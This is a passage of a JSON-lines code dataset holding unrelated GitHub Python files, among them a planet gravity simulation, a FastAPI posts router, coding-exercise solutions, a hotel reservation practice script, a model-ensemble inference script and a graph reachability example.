= np.array([p.mass for p in planets])\n self.positions = np.array([p.position for p in planets])\n self.velocities = np.array([p.velocity for p in planets])\n\n self.distances = np.zeros((self.count,self.count)) #[[0 for _ in range(self.count)] for _ in range(self.count)]\n self.directions = np.zeros((self.count,self.count,2)) #[[[0,0] for _ in range(self.count)] for _ in range(self.count)]\n self.forces = np.zeros((self.count,self.count,2)) #[[[0,0] for _ in range(self.count)] for _ in range(self.count)]\n self.accels = np.zeros((self.count,2)) #[[0,0] for _ in range(self.count)]\n \n self.positions_in_time = [np.copy(self.positions)]\n \n \n# def calculate_distances(self):\n# for i in range(self.count):\n# for j in range(i+1, self.count):\n# diff = self.positions[j] - self.positions[i]\n# dist = np.linalg.norm(diff)\n# direction = diff / dist\n#\n# self.distances[i][j] = dist\n# self.distances[j][i] = dist\n# self.directions[i][j] = direction\n# #self.directions[j][i] = -direction\n \n\n def calculate_distances_np(self):\n diffs = self.positions[:,np.newaxis,:] - self.positions\n \n tmp_sum = np.sum(diffs*diffs, axis=-1)\n self.distances = np.sqrt(tmp_sum)\n \n self.directions = np.divide(-diffs, self.distances[:,:,np.newaxis], out=np.zeros_like(diffs), where=self.distances[:,:,np.newaxis]!=[0])\n\n\n# def calculate_forces(self):\n# for i in range(self.count):\n# for j in range(i+1, self.count):\n# G = 6.6743e-11\n# force = (G*((self.masses[i] * self.masses[j])/((self.distances[i][j])**2))) * self.directions[i][j]\n# self.forces[i][j] = force\n# self.forces[j][i] = -force\n\n def calculate_forces_np(self):\n mass_products = self.masses[:,None] * self.masses\n G = 6.6743e-11\n forces = G * np.divide(mass_products, np.power(self.distances,2), out=np.zeros_like(mass_products),where=self.distances!=0)\n force_vectors = forces[:,:,np.newaxis] * self.directions\n self.forces = force_vectors\n \n \n# def calculate_accelerations(self):\n# for i in range(self.count):\n# total_force = np.sum(self.forces[i],axis=(0))\n#\n#\n# self.accels[i] = total_force / self.masses[i]\n\n def calculate_accelerations_np(self):\n total_forces = np.sum(self.forces,axis=(1))\n self.accels = np.divide(total_forces, self.masses[:,np.newaxis])\n\n def move_planets(self, time_interval):\n self.calculate_distances_np()\n self.calculate_forces_np()\n self.calculate_accelerations_np()\n\n self.velocities += self.accels * time_interval\n self.positions += self.velocities * time_interval\n self.positions_in_time.append(np.copy(self.positions))\n\n\n def simulate_movement(self, duration, time_interval):\n for i in range(math.floor(duration / time_interval)):\n self.move_planets(time_interval)\n \n \n \n\n def draw_current_state(self, size):\n x_values = [p[0] for p in self.positions]\n y_values = [p[1] for p in self.positions]\n\n fig, axes = plt.subplots()\n axes.set_xlim([-size,size])\n axes.set_ylim([-size,size])\n dots = axes.plot(x_values, y_values,'.')\n plt.show()\n\n def draw_trajectories(self, size):\n fig,axes = plt.subplots()\n axes.set_xlim([-size,size])\n axes.set_ylim([-size,size])\n \n for i in range(self.count):\n x_values = [p[i][0] for p in self.positions_in_time]\n y_values = [p[i][1] for p in self.positions_in_time]\n\n axes.plot(x_values,y_values)\n \n plt.show()\n\n \n def show_animation(self, size):\n fig, ax = plt.subplots()\n ax.set_xlim([-size,size])\n ax.set_ylim([-size,size])\n \n dots, = ax.plot([p[0] for p in self.positions_in_time[0]], [p[1] for p in self.positions_in_time[0]],'.')\n\n\n def animation_frame(i):\n dots.set_xdata([p[0] for p in self.positions_in_time[i]])\n dots.set_ydata([p[1] for p in self.positions_in_time[i]])\n return dots\n \n anim = animation.FuncAnimation(fig, func=animation_frame, frames=np.arange(0, len(self.positions_in_time),1), interval=20)\n plt.show()\n","repo_name":"pru0052/pru0052_vvp_projekt","sub_path":"planets_project.py","file_name":"planets_project.py","file_ext":"py","file_size_in_byte":6051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"29040184623","text":"from fastapi import FastAPI, HTTPException, Depends, status,APIRouter\nfrom sqlalchemy.orm import Session \nfrom .. import database, models, schemas, oauth2\nfrom typing import List, Optional \n\n\nrouter = APIRouter(prefix=\"/posts\",tags=['POST'])\n\n\n@router.get(\"/\",response_model= List[schemas.Post])\ndef get_posts(db: Session = Depends(database.get_db), current_user:int=Depends(oauth2.get_current_user),\n search:Optional[str] = \"\", limit:int=10 , skip:int=0):\n posts = db.query(models.Post).filter(models.Post.owner_id==current_user.id).limit(limit).offset(skip).all()\n return posts\n\n@router.get(\"/{id}\", response_model = schemas.Post)\ndef get_id(id:int,db: Session = Depends(database.get_db), current_user:int=Depends(oauth2.get_current_user)):\n post_query = db.query(models.Post).filter(models.Post.id == id)\n post = post_query.first()\n if post == None:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"post with id: {id} does not exist\")\n if post.owner_id != current_user.id:\n raise HTTPException(status_code=status.HTTP_403_FORBIDDEN,\n detail=\"Not authorized to perform requested action\")\n return post\n\n@router.post(\"/\",response_model=schemas.Post)\ndef create(post:schemas.PostCreate,db: Session = Depends(database.get_db),current_user:int=Depends(oauth2.get_current_user)):\n new_post = models.Post(owner_id=current_user.id,**post.dict())\n \n db.add(new_post)\n db.commit()\n db.refresh(new_post)\n return new_post\n\n@router.put(\"/{id}\",response_model=schemas.Post)\ndef update(post: schemas.PostCreate,id:int,db: Session = Depends(database.get_db), current_user:int=Depends(oauth2.get_current_user)):\n post_query = db.query(models.Post).filter(models.Post.id == id)\n post_recovery = post_query.first()\n if post_recovery == None:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"post with id: {id} does not exist\")\n if post_recovery.owner_id != current_user.id:\n raise HTTPException(status_code=status.HTTP_403_FORBIDDEN,\n detail=\"Not authorized to perform requested action\")\n post_query.update(post.dict(),synchronize_session=False)\n db.commit()\n \n return post_query.first()\n\n@router.delete(\"/{id}\")\ndef delete(id:int,db: Session = Depends(database.get_db), current_user:int=Depends(oauth2.get_current_user)):\n post_query = db.query(models.Post).filter(models.Post.id == id)\n post = post_query.first()\n if post == None:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"post with id: {id} does not exist\")\n if post.owner_id != current_user.id:\n raise HTTPException(status_code=status.HTTP_403_FORBIDDEN,\n detail=\"Not authorized to perform requested action\")\n \n post_query.delete(synchronize_session=False)\n db.commit()\n return{\"data\":f'delete succefull posts number {id}'}","repo_name":"josef05s/apy.python","sub_path":"app/routers/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"74111507107","text":"N, M = map(int, input().split())\nboard = [input() for _ in range(N)]\n\nmin_count = N * M # 다시 칠해야 하는 정사각형의 최소 개수\n\nfor i in range(N - 7): # 8x8 크기로 자를 수 있는 모든 경우를 탐색\n for j in range(M - 7):\n count1, count2 = 0, 0 # 맨 왼쪽 위가 흰색인 경우, 검은색인 경우의 다시 칠해야 하는 정사각형 개수를 각각 센다\n for k in range(i, i + 8):\n for l in range(j, j + 8):\n if (k + l) % 2 == 0: # 체스판 모양대로 색을 칠하는 것을 고려\n if board[k][l] == 'B':\n count1 += 1\n else:\n count2 += 1\n else:\n if board[k][l] == 'W':\n count1 += 1\n else:\n count2 += 1\n min_count = min(min_count, count1, count2)\n\nprint(min_count)\n","repo_name":"Artinto/2023_AI_python_study","sub_path":"[0501]/[코딩]/[브루트 포스]/[체스판 다시 칠하기]/[PJH]체스판 다시 칠하기.py","file_name":"[PJH]체스판 다시 칠하기.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"40459024963","text":"###\n### NOTE: install pymanopt from github. Don't use pip3 install pymanopt\n### https://github.com/pymanopt/pymanopt\n###\nimport autograd.numpy as np\n\nimport pymanopt\nfrom pymanopt.manifolds import Stiefel, Grassmann\nfrom pymanopt.solvers import TrustRegions\n\nfrom factor_analyzer import Rotator\n\n\ndef gen_ldr(cost_func_generator,\n project_func_generator,\n manifold_generator=Grassmann,\n solver=TrustRegions()):\n class LDR:\n def __init__(self,\n n_components=2,\n max_iter=100,\n convergence_ratio=1e-2,\n apply_varimax=True,\n apply_consist_axes=True,\n verbosity=0):\n self.n_components = n_components\n self.cost_func_generator = cost_func_generator\n self.manifold_generator = manifold_generator\n self.solver = solver\n self.solver._maxiter = max_iter\n self.solver._mingradnorm = convergence_ratio\n self.project_func_generator = project_func_generator\n self.M = None\n self.projector = None\n self.apply_varimax = apply_varimax\n self.apply_consist_axes = apply_consist_axes\n self.verbosity = verbosity\n\n def fit(self, *args, **kwargs):\n self.problem = pymanopt.Problem(\n self.manifold_generator(args[0].shape[1], self.n_components),\n cost_func_generator(*args, **kwargs))\n self.problem.verbosity = self.verbosity\n self.M = self.solver.solve(self.problem)\n\n if self.apply_varimax:\n self.M = Rotator(method='varimax').fit_transform(self.M)\n if self.apply_consist_axes:\n # consist sign (column sum will be pos)\n self.M = self.M * np.sign(self.M.sum(axis=0))\n # consist order (based on max value)\n self.M = self.M[:, np.argsort(-self.M.max(axis=0))]\n\n self.projector = self.project_func_generator(self.M)\n\n return self\n\n def transform(self, *args, **kwargs):\n return self.projector(*args, **kwargs)\n\n def fit_transform(self, *args, **kwargs):\n return self.fit(*args, **kwargs).transform(*args, **kwargs)\n\n def get_final_cost(self):\n return self.problem.cost(self.M)\n\n def update_projector(self, M):\n self.M = M\n self.projector = self.project_func_generator(self.M)\n return self\n\n return LDR\n","repo_name":"anonym-sub/ulca","sub_path":"manopt_dr/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"39942566329","text":"import math\nimport sys\n\nn = int(input())\nnum = []\nm = []\nminus_num = []\n\nfor _ in range(n):\n num.append(int(sys.stdin.readline()))\n\nnum.sort()\n\nfor i in range(1, n):\n minus_num.append(num[i] - num[i - 1])\n\ngcd_num = minus_num[0]\n\nfor i in range(1, len(minus_num)):\n gcd_num = math.gcd(gcd_num, minus_num[i])\n\nfor i in range(2, int(math.sqrt(gcd_num)) + 1):\n if gcd_num % i == 0:\n m.append(i)\n m.append(gcd_num // i)\n\nm.append(gcd_num)\nm_list = list(set(m))\nm_list.sort()\nprint(*m_list)","repo_name":"kimseunghyo/baekjoon","sub_path":"백준/Gold/2981. 검문/검문.py","file_name":"검문.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"33831069247","text":"# Write a python code that takes a list and returns a list of tuples each containing an element of the original list and the number of times it appeared in the original\n# list.\nfrom collections import Counter\n\ngroceries = [\n \"apple\",\n \"mango\",\n \"orange\",\n \"ginger\",\n \"beef\",\n \"chicken\",\n \"mango\",\n \"apple\",\n \"carrot\",\n \"ginger\",\n \"beef\",\n \"mango\",\n \"grape\",\n \"mango\",\n \"apple\",\n \"carrot\",\n \"ginger\",\n \"rice\",\n \"orange\",\n \"mango\",\n \"mango\",\n]\n\npayment_details = Counter(groceries)\nprint(\n payment_details.most_common()\n) # Prints the out in according to the number of times they appear descending order.add()\nprint(payment_details.most_common(1)) # Prints out the element that appears the most.\n\n\n# Write a python code that search for a word in a given text and returns the number of times that word appears.\nfrom collections import Counter\n\n\ndef word_counter(data):\n with open(\"dummy.txt\") as file:\n file_data = file.read()\n file_data_array = file_data.split()\n new_file_data_array = []\n\n for word in file_data_array:\n word = word.strip(\".\")\n word = word.strip(\",\")\n new_file_data_array.append(word)\n\n words_counter = Counter(new_file_data_array)\n dict_data = dict(words_counter)\n\n if data in set(dict_data.keys()):\n print(dict_data[data])\n else:\n print(\"Word Not Found!!\")\n\n\nword_counter(\"vocabulary\")\n","repo_name":"Ronnie5562/ML002","sub_path":"Section1/Coding_challenge/counter.py","file_name":"counter.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"70"} +{"seq_id":"21283561558","text":"from torch import nn\nfrom se2cnn.nn import SE2ToSE2Conv\nimport torch.nn.functional as F\n\n\nclass SE2ToSE2ConvNext(nn.Module):\n r\"\"\" ConvNeXt Block. There are two equivalent implementations:\n (1) DwConv -> LayerNorm (channels_first) -> 1x1 Conv -> GELU -> 1x1 Conv; all in (N, C, H, W)\n (2) DwConv -> Permute to (N, H, W, C); LayerNorm (channels_last) -> Linear -> GELU -> Linear; Permute back\n We use (2) as we find it slightly faster in PyTorch\n Args:\n dim (int): Number of input channels.\n drop_path (float): Stochastic depth rate. Default: 0.0\n layer_scale_init_value (float): Init value for Layer Scale. Default: 1e-6.\n \"\"\"\n\n def __init__(self, input_dim, output_dim, num_theta, kernel_size, padding=0):\n super().__init__()\n\n self.crop = int((2 * padding - (kernel_size - 1))/2)\n self.skip = (input_dim == output_dim)\n self.padding_mode = \"replicate\"\n\n self.dwconv = SE2ToSE2Conv(input_dim, input_dim, num_theta, kernel_size=kernel_size, padding=padding, groups=input_dim)\n self.norm = nn.LayerNorm(input_dim, eps=1e-6)\n self.pwconv1 = nn.Linear(input_dim, 4 * input_dim)\n self.act = nn.GELU()\n self.pwconv2 = nn.Linear(4 * input_dim, output_dim)\n\n def forward(self, x):\n input = x\n x = self.dwconv(x) # [B, C, num_theta, X, Y]\n x = x.permute(0, 2, 3, 4, 1) # (N, C, Theta, H, W) -> (N, Theta, H, W, C)\n x = self.norm(x)\n x = self.pwconv1(x)\n x = self.act(x)\n x = self.pwconv2(x)\n x = x.permute(0, 4, 1, 2, 3) # (N, Theta, H, W, C) -> (N, C, Theta, H, W)\n if self.skip:\n if self.crop < 0:\n x = input[...,-self.crop:self.crop,-self.crop:self.crop] + x\n elif self.crop > 0:\n channels = input.shape[1]\n x = F.pad(input.flatten(1, 2), (self.crop, self.crop, self.crop, self.crop),\n self.padding_mode).unflatten(1, (channels, -1)) + x\n else:\n x = input + x\n return x","repo_name":"ebekkers/se2cnn","sub_path":"se2cnn/nn/convnext.py","file_name":"convnext.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"70"} +{"seq_id":"42379918838","text":"# Hotel Reservation Project\nimport datetime as dt\nimport random\n\n# Create Room class\nclass Hotel(object):\n\n def __init__(self):\n self._price = 0\n self._room_info = None\n self._availability = None\n\n# Create subroom classes like (1 bed room, 2 bed room, king suite, penthouse)\n\nclass Penthouse(HotelRoom):\n\n def __init__(self):\n super().__init__()\n self._price = 650\n self._room_info =('''\n-One bedroom suite plus separate parlor room\n-1000 sq. ft. / 93 sq. m.\n-Partial views of Central Park\n-One suite per floor on floors 11 - 19\n-One king bed and one full size sofa bed\n-Large wood-paneled luxury closets with built-in drawers and storage\n-Bathroom features beautiful mosaic floors and walls with a gilded floral motif, private WC, and 24-carat gold-plated fixtures\n-Soaking tub and separate shower\n-Separate powder room\n-Marble wet bar\n-White glove butler service\n''')\n self._availability = True\n\nclass King(HotelRoom):\n\n def __init__(self):\n super().__init__()\n self._price = 350\n self._room_info =('''\n-550 sq. ft. / 51 sq. m.\n-One king bed\n-Located on floors 5 - 19\n-Overlooks interior courtyard or 58th Street\n-Large wood-paneled luxury closets with built-in drawers and storage\n-Bathroom features beautiful mosaic floors and walls with a gilded floral motif, private WC, and 24-carat gold-plated fixtures.\n-Most feature a soaking tub and separate shower\n-Deluxe King Rooms accommodate a rollaway bed\n-White glove butler service upon request\n ''')\n self._availability = True\n\n\nclass Queen(HotelRoom):\n\n def __init__(self):\n super().__init__()\n self._price = 250\n self._room_info =('''\n-Open plan suite with sitting area and full size sofa bed\n-Can accommodate up to 6 people\n-On floors 12 - 18\n-Two queen beds\n-Large wood-paneled luxury closets with built-in drawers and storage\n-Bathroom features beautiful mosaic floors and walls with a gilded floral motif, private WC, and 24-carat gold-plated fixtures\n-Soaking tub and separate shower\n-Marble wet bar\n-Family Grand Luxe Two Queens can accommodate a rollaway bed\n-White glove butler service\n ''')\n self._availability = True\n\nclass Double(HotelRoom):\n\n def __init__(self):\n super().__init__()\n self._price = 200\n self._room_info =('''\n-550 sq. ft. / 51 sq. m.\n-Two queen beds\n-Overlooks 58th street\n-Located on floors 5 - 10\n-Large wood-paneled luxury closets with built-in drawers and storage\n-Bathroom features beautiful mosaic floors and walls with a gilded floral motif, private WC, and 24-carat gold-plated fixtures\n-White glove butler service upon request\n ''')\n self._availability = True\n\nclass Single(HotelRoom):\n\n def __init__(self):\n super().__init__()\n self._price = 100\n self._room_info =('''\n-550 sq. ft. / 51 sq. m.\n-One queen bed\n-Overlooks 58th street\n-Located on floors 5 - 10\n-Large wood-paneled luxury closets with built-in drawers and storage\n-Bathroom features beautiful mosaic floors and walls with a gilded floral motif, private WC, and 24-carat gold-plated fixtures\n-White glove butler service upon request\n ''')\n self._availability = True\n\nclass Broom_Closet(HotelRoom):\n\n def __init__(self):\n super().__init__()\n self._price = 35\n self._room_info =('''\n-55 sq. ft.\n-One cot\n-Views of a dark and dingy wall\n-Located on floors 5 - 10\n-Small bag for storage\n-Tin bucket supplied for all bathroom needs\n-Will clean room when we remember\n ''')\n self._availability = True\n\n\ndef test():\n penthouse = Penthouse()\n king = King()\n queen = Queen()\n double = Double()\n single = Single()\n broom_closet = Broom_Closet()\n print(f'''Penthouse:\\nPrice:${penthouse.price}\\n\\nInfo:{penthouse.room_info}\nAvailability:{penthouse.availability}\n ''')\n print('-' * 50)\n print(f'''King:\\nPrice:${king.price}\\n\\nInfo:{king.room_info}\nAvailability:{king.availability}\n ''')\n print('-' * 50)\n\n print(f'''Queen:\\nPrice:${queen.price}\\n\\nInfo:{queen.room_info}\nAvailability:{queen.availability}\n ''')\n print('-' * 50)\n\n print(f'''Double:\\nPrice:${double.price}\\n\\nInfo:{double.room_info}\nAvailability:{double.availability}\n ''')\n print('-' * 50)\n\n print(f'''Single:\\nPrice:${single.price}\\n\\nInfo:{single.room_info}\nAvailability:{single.availability}\n ''')\n print('-' * 50)\n\n print(f'''Broom Closet:\\nPrice:${broom_closet.price}\\n\\nInfo:{broom_closet.room_info}\nAvailability:{broom_closet.availability}\n ''')\n print('-' * 50)\n\n#test()\n\n# TODO: Be able to book the room for the dates the customer wants\n\n#check_in = '12/1/2019'\n#check_out = '12/6/2019'\n\nprint(\"Hello! Welcome to the Plaza NYC. Please enter your check-in and check-out days: \")\n\ndef date_validation(check_in_or_out, in_or_out):\n while True:\n try:\n valid_date = dt.datetime.strptime(check_in_or_out,'%m/%d/%Y')\n break\n except ValueError:\n print('Invalid date range. Please try again by entering the following format: (mm/dd/yyyy)')\n check_in_or_out = input(f'Check-{in_or_out} (mm/dd/yyyy)>> ')\n continue\n\ndef format_dates(date):\n month_day_year_list = date.split('/')\n month = month_day_year_list[0]\n day = month_day_year_list[1]\n year = month_day_year_list[2]\n year_month_day_list = [year, month, day]\n formatted_date = '-'.join(year_month_day_list)\n return formatted_date\n\ndef room_type_string_validation(string, string_choice_list, user_string):\n while True:\n if string in string_choice_list:\n return string.title()\n break\n else:\n print('Invalid entry.')\n string = input(f'{user_string}')\n\n\n\ndef confirmation_string_validation(string):\n while True:\n if string.upper() in ['Y','N','YES','NO'] or string == '':\n return string\n break\n else:\n print('Please enter either Y or N.')\n string = input('Enter Y to confirm or N to change your dates: ')\n continue\n\ndef check_in_or_out_confirmation(confirmation):\n pass\n\n# TODO: Create list of rooms that are available to stay at in the hotel.\n# This should be an attribute of the hotel. I should create in the beginning.\nroom_list = {\n'Penthouse' : [5, Penthouse()],\n'King' : [20, King()],\n'Queen' : [40, Queen()],\n'Double' : [40, Double()],\n'Single' : [10, Single()],\n'Broom Closet' : [1, Broom_Closet()]\n}\n\ncheck_in = input('Check-in (mm/dd/yyyy)>> ')\ndate_validation(check_in, 'in')\ncheck_out = input('Check-out (mm/dd/yyyy)>> ')\ndate_validation(check_out, 'out')\n\ndate_check_in = dt.datetime.strptime(format_dates(check_in), '%Y-%m-%d').date()\nprint(date_check_in)\ndate_check_out = dt.datetime.strptime(format_dates(check_out), '%Y-%m-%d').date()\nprint(date_check_out)\n\nprint(f'''So you would like to check in on {check_in} and check out on {check_out}\nfor a total of {(date_check_out - date_check_in).days} nights. Is this correct?\n''')\nconfirmation = input('Enter Y to confirm or N to change your dates: ')\nvalid_confirmation = confirmation_string_validation(confirmation)\nif valid_confirmation.upper() in ['N','NO']:\n check_in = input('Please enter your new check-in date (mm/dd/yyyy)>> ')\n date_validation(check_in, 'in')\n check_out = input('Please enter your new check-out date (mm/dd/yyyy)>> ')\n date_validation(check_out, 'out')\n\n# TODO: Now that dates are confirmed let the customer know\n# what rooms are available.\nfor room in room_list:\n print(f'''\n{room}:\nRoom(s) available: {room_list[room][0]}\nPrice per night: ${room_list[room][1].price}\n ''')\nroom_type_string = 'Which room would you like to book? >> '\nroom_type_list = room_list.keys()\nroom_type = input(f'{room_type_string}')\nuser_room_type = room_type_string_validation(room_type, room_type_list, room_type_string)\n\nprint(f'A {user_room_type} room has been booked. Your room number is {random.randint(0,51)}')\nroom_list[user_room_type] = room_list[user_room_type][0] - 1\n\n# Think I will end the code here as I feel I am venturing out of\n# practicing classes. Did not add the ability to book certain dates\n# as that is just writing a conditional statement using datetime\n","repo_name":"LucksDesperation15/Python_Projects","sub_path":"Class_Practice/hotelreservation.py","file_name":"hotelreservation.py","file_ext":"py","file_size_in_byte":8266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"31987639300","text":"import torch\r\nfrom torch.utils.data import SequentialSampler, DataLoader\r\n\r\n#model2\r\nfrom config import parse_args\r\nfrom data_helper import MultiModalDataset\r\nfrom category_id_map import lv2id_to_category_id\r\nfrom model import MultiModal\r\nimport numpy as np\r\n\r\n#model1\r\nfrom config1 import parse_args1\r\nfrom model1 import MultiModal as MultiModal1\r\nfrom data_helper1 import MultiModalDataset as MultiModalDataset1\r\ndef inference():\r\n args = parse_args()\r\n # 1. load data\r\n dataset = MultiModalDataset(args, args.test_annotation, args.test_zip_feats, test_mode=True)\r\n sampler = SequentialSampler(dataset)\r\n dataloader = DataLoader(dataset,\r\n batch_size=args.test_batch_size,\r\n sampler=sampler,\r\n drop_last=False,\r\n pin_memory=True,\r\n num_workers=args.num_workers,\r\n prefetch_factor=args.prefetch)\r\n num = 10\r\n # 2. load model\r\n pred = []\r\n for i in range(num):\r\n print('第%d个'%i)\r\n model = MultiModal(args)\r\n if i == 0:\r\n checkpoint = torch.load(args.ckpt_file_0 , map_location='cpu')\r\n elif i == 1:\r\n checkpoint = torch.load(args.ckpt_file_1, map_location='cpu')\r\n elif i == 2:\r\n checkpoint = torch.load('save/v1/model_epoch_4_fold1.bin', map_location='cpu')\r\n elif i == 3:\r\n checkpoint = torch.load('save/v1/model_epoch_4_fold2.bin', map_location='cpu')\r\n elif i == 4:\r\n checkpoint = torch.load('save/v1/model_epoch_4_fold3.bin', map_location='cpu')\r\n elif i == 5:\r\n checkpoint = torch.load('save/v1/model_epoch_4_fold4.bin', map_location='cpu')\r\n elif i == 6:\r\n checkpoint = torch.load('save/v1/model_epoch_4_fold5.bin', map_location='cpu')\r\n elif i == 7:\r\n checkpoint = torch.load('save/v1/model_epoch_4_fold6.bin', map_location='cpu')\r\n elif i == 8:\r\n checkpoint = torch.load('save/v1/model_epoch_4_fold7.bin', map_location='cpu')\r\n elif i == 9:\r\n checkpoint = torch.load('save/v1/model_epoch_4_fold8.bin', map_location='cpu')\r\n model.load_state_dict(checkpoint['model_state_dict'])\r\n\r\n if torch.cuda.is_available():\r\n model = torch.nn.parallel.DataParallel(model.cuda())\r\n model.eval()\r\n\r\n # def multiply_2D_list(l, by=1.05):\r\n # return [[i * by for i in sub_list] for sub_list in l]\r\n\r\n\r\n\r\n # 3. inference\r\n predictions = []\r\n with torch.no_grad():\r\n for batch in dataloader:\r\n pred_label_id = model(batch, inference1=True)\r\n predictions.extend(pred_label_id.cpu().numpy())\r\n pred = np.sum([ pred,predictions],axis=0)\r\n # print(pred )\r\n\r\n args1 = parse_args1()\r\n # 1. load data\r\n dataset1 = MultiModalDataset1(args1, args1.test_annotation, args1.test_zip_feats, test_mode=True)\r\n sampler1 = SequentialSampler(dataset1)\r\n dataloader1 = DataLoader(dataset1,\r\n batch_size=args1.test_batch_size,\r\n sampler=sampler1,\r\n drop_last=False,\r\n pin_memory=True,\r\n num_workers=args1.num_workers,\r\n prefetch_factor=args1.prefetch)\r\n num2 = 17\r\n # 2. load model\r\n for i in range(num,num2):\r\n print('第%d个' % i)\r\n model1 = MultiModal1(args1)\r\n #model_epoch_{epoch}.bin\r\n if i == 10:\r\n checkpoint = torch.load('save/m1/0model_epoch_4.bin', map_location='cpu')\r\n elif i == 11:\r\n checkpoint = torch.load('save/m1/1model_epoch_4.bin', map_location='cpu')\r\n elif i == 12:\r\n checkpoint = torch.load('save/m1/3model_epoch_3.bin', map_location='cpu')\r\n elif i == 13:\r\n checkpoint = torch.load('save/m1/6model_epoch_3.bin', map_location='cpu')\r\n elif i == 14:\r\n checkpoint = torch.load('save/m1/7model_epoch_3.bin', map_location='cpu')\r\n elif i == 15:\r\n checkpoint = torch.load('save/m1/8model_epoch_4.bin', map_location='cpu')\r\n elif i == 16:\r\n checkpoint = torch.load('save/m1/9model_epoch_4.bin', map_location='cpu')\r\n model1.load_state_dict(checkpoint['model_state_dict'])\r\n\r\n if torch.cuda.is_available():\r\n model1 = torch.nn.parallel.DataParallel(model1.cuda())\r\n model1.eval()\r\n\r\n # 3. inference\r\n predictions = []\r\n with torch.no_grad():\r\n for batch in dataloader1:\r\n pred_label_id = model1(batch, inference1=True)\r\n predictions.extend(pred_label_id.cpu().numpy())\r\n pred = np.sum([pred, predictions], axis=0)\r\n\r\n\r\n pred = pred/num2\r\n predictionsl = np.argmax(pred,axis=1)\r\n\r\n # predictions = torch.argmax(predictions,dim=1)\r\n\r\n\r\n # 4. dump results\r\n with open(args.test_output_csv, 'w') as f:\r\n for pred_label_id, ann in zip(predictionsl, dataset.anns):\r\n video_id = ann['id']\r\n category_id = lv2id_to_category_id(pred_label_id)\r\n f.write(f'{video_id},{category_id}\\n')\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n inference()\r\n","repo_name":"tyj9761/wbdc2022-preliminary-b10c710556984d72aa94f7062f989566","sub_path":"src/inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":5318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"37523796496","text":"'''\nSolution by GitHub user @allardbrain in July 2017.\n\nDefine a function factorial() that takes an integer x as input\nand returns the factorial of x. A factorial of a number is \ncalculated as a number multiplied by all the numbers that are \nless than it. Example:\n\n5! = 5 * 4 * 3 * 2 * 1\n\n1! and 0! should both return 1.\n\n>>> factorial(5)\n120\n\n>>> factorial(0)\n1\n\n>>> factorial(1)\n1\n\n'''\n\ndef factorial(x):\n\n product = 1\n\n if x == 1 or x == 0:\n return product\n\n while x > 1:\n product *= x\n x -= 1\n\n return product\n\n\nfactorial(3)\n\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod()","repo_name":"hovikgas/Python-Coding-Challenges","sub_path":"numbers/factorial/factorial_solution.py","file_name":"factorial_solution.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"5026484841","text":"# check if there is exist a path between two vertices of graph\n\nfrom collections import defaultdict\n\n# This class represents a directed graph using adjacency list representation\nclass Graph:\n\n def __init__(self, vertices):\n self.V = vertices # num of vertices\n self.graph = defaultdict(list) # default dict to store graph\n\n # function to add an edge to the graph\n def addEdge(self, u,v):\n self.graph[u].append(v)\n \n # Use of BFS to check path between s and d\n def isReachable(self, s, d):\n # Mark all the vertices as not visited\n visited = [False]*(self.V)\n\n # Create a queue for BFS\n queue = []\n\n # Mark the source node as visited and enqueue it\n queue.append(s)\n visited[s] = True\n\n while queue:\n\n #Dequeue a vertex from queue\n n = queue.pop(0)\n\n # If this adjacent node is the destination node, then return true\n if n == d:\n return True\n \n # Else, continue to do BFS\n for i in self.graph[n]:\n if visited[i] == False:\n queue.append(i)\n visited[i] = True\n # If BFS is complete without visited d\n return False\n\ng = Graph(4)\ng.addEdge(0,1)\ng.addEdge(0,2)\ng.addEdge(1,2)\ng.addEdge(2,0)\ng.addEdge(2,3)\ng.addEdge(3,3)\n\nu = 1; v = 3\n\nif g.isReachable(u,v):\n print(\"There is a path from %d to %d \" % (u,v))\nelse:\n print(\"There is no path from %d to %d\" % (u,v))\n\n\n# defaultdict means that if a key is not found in the dictionary, \n# then instead of a KeyError being thrown, a new entry is created. \n# The type of this new entry is given by the argument of defaultdict.","repo_name":"p1x31/ctci-python","sub_path":"chapter4/route_two_nodes.py","file_name":"route_two_nodes.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"10673720203","text":"#!/usr/bin/env python3\n\nfrom utils import read_json\nfrom collections import defaultdict\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\nsys.path.append(\"src\")\nimport fig_utils\nfrom consts import *\n\ndata = read_json(\"data/parsed.json\")\nrating_scores = []\n\ndata_time = defaultdict(lambda: list())\ndata_time_avg = defaultdict(lambda: list())\ndata_time_class = defaultdict(lambda: list())\ndata_time_all = []\ncount_class = {0: 4, 1: 4, 2: 4}\n\nfor doc in data:\n data_time[doc[\"uid\"]].append(doc[\"time\"])\n data_time_all.append(doc[\"time\"])\n data_time_class[UID_CLASS[doc[\"uid\"]]].append(doc[\"time\"])\n\ncost_done = 0\ndocs_done = 0\ncost_todo = 0\ndocs_todo = 0\n\nfor uid, times in 